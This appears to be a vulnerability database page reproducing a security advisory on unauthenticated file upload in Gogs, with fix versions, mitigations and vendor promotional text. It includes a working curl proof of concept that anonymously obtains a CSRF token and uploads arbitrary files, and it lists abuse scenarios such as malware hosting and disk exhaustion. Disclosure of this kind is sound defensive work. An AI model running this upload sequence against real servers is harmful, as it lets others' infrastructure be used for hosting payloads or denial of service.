EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
gogs.io/gogsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Security Advisory:Unauthenticated File Upload in Gogs Vulnerability Type: Unauthenticated File Upload Date: Aug 5, 2025 Discoverer: OpenAI Security Research
Summary
Gogs exposes unauthenticated file upload endpoints by default. When the global RequireSigninView setting is disabled (default), any remote user can upload arbitrary files to the server via /releases/attachments and /issues/attachments. This enables the instance to be abused as a public file host, potentially leading to disk exhaustion, content hosting, or delivery of malware. CSRF tokens do not mitigate this attack due to same-origin cookie issuance.
Affected Versions
- Software: Gogs
- Confirmed Version(s): 28f83626d4ed0aa7b89493be2ea8b79ca038331e
- Likely Affected: All versions since 2020-04-05 with unauthenticated attachments endpoints
- Introduced Commit: 07818d5fa
Vulnerability Details
The web.go router exposes the following endpoints under the ignSignIn route group:
Vulnerable Code Snippet
m.Post("/issues/attachments", repo.UploadIssueAttachment)
m.Post("/releases/attachments", repo.UploadReleaseAttachment)
These endpoints are accessible by unauthenticated users if the configuration variable RequireSigninView is false (default). This allows arbitrary file uploads to data/attachments, returning a UUID in response.
While CSRF protection is enabled, attackers can obtain a valid token anonymously from the site and use it in the upload request without authentication.
Description
Anonymous file upload using only default configuration and a CSRF token obtained from the homepage.
POC
# Run Gogs docker
docker start gogs
# Software will be run on http://localhost:10880/. Finish the setup with local Sqlite database
# Get CSRF cookie into a jar
curl -sS -c cookies.txt http://localhost:10880/ -o /dev/null
# Extract the _csrf value from the jar
CSRF="$(awk '$6=="_csrf"{print $7}' cookies.txt | tail -n1)"
# Upload the file, sending cookie jar + header
curl -sS \
-b cookies.txt -c cookies.txt \
-H "X-CSRF-Token: $CSRF" \
-H "Referer: http://localhost:10880/" \
-F "[email protected]" \
http://localhost:10880/issues/attachments
=> {"uuid":"<UUID>"}
The attachment will be available at: http://localhost:10880/attachments/<uuid>
Impact
Unrestricted File Upload: Attackers can store arbitrary content on the server. Denial-of-Service: Repeated uploads can exhaust disk space. Malware Hosting: Gogs may inadvertently serve attacker-hosted payloads under its domain.
Realistic Exploitation Scenarios
- Spammers or malicious actors use the Gogs instance to host phishing payloads or malware.
- Attackers fill up disk with repeated uploads.
- Attackers use hosted Gogs instances as public file dumps (e.g., for P2P, exfiltration)
Potential Impact
This unauthenticated upload vector effectively turns any Gogs instance into a file hosting platform open to the public. This is especially dangerous for production or Internet-exposed installations. The combination of no login requirement, wildcard MIME support, and unrestricted access to attachments enables both resource abuse and potential malware distribution.
Timeline
- August 2025: Discovered via GPT5
- August 2025: Reproduced and confirmed via PoC and sanitizer
- Aug 6, 2025 - Sent to Gogs via https://github.com/gogs/gogs/security/advisories/new
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | gogs.io/gogs | all versions | 0.14.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update gogs.io/gogs to 0.14.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fc3h-92p8-h36f is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fc3h-92p8-h36f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fc3h-92p8-h36f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fc3h-92p8-h36f in your dependencies?
O3 detects GHSA-fc3h-92p8-h36f across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.